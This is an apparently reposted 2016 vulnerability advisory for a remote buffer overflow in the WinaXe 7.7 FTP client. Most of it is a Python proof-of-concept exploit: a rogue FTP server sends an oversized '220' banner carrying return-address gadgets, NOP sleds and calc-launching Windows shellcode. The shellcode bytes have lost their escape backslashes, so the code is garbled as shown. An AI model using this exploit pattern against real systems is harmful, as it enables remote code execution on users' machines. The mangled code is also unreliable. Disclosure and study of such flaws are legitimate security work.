Home / os / winmobile

WinaXe 7.7 Buffer Overflow

Posted on 04 November 2016

[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt [+] ISR: Apparition Security Vendor: ============ www.labf.com Product: ================ WinaXe v7.7 FTP The X Window System, SSH, TCP/IP, NFS, FTP, TFTP and Telnet software are built and provided in the package. All that you need to run remote UNIX and X Applications is included within WinaXe Plus. You operate simultaneously with X11, FTP and Telnet sessions and with your familiar MS Windows applications. Vulnerability Type: ======================= Remote Buffer Overflow Vulnerability Details: ====================== WinaXe v7.7 FTP client is subject to MULTIPLE remote buffer overflow vectors when connecting to a malicious FTP Server and receiving overly long payloads in the command response from the remote server. 220 SERVICE READY 331 USER / PASS 200 TYPE 257 PWD etc... below is POC for "server ready" 220 command exploit when first connecting to a FTP server. Exploit code(s): =============== import socket,struct #WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit #Discovery hyp3rlinx #ISR: ApparitionSec #hyp3rlinx.altervista.org #shellcode to pop calc.exe Windows 7 SP1 sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65" "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") eip=struct.pack('<L',0x68084A6F) #POP ECX RET jmpesp=struct.pack('<L',0x68017296) #JMP ESP #We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode. payload="A"*2061+eip+jmpesp+"x90"*10+sc+"x90"*20 #Server Ready '220' Exploit port = 21 s = socket.socket() host = '127.0.0.1' s.bind((host, port)) s.listen(5) print 'Evil FTPServer listening...' while True: conn, addr = s.accept() conn.send('220'+payload+' ') conn.close() Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx

 

TOP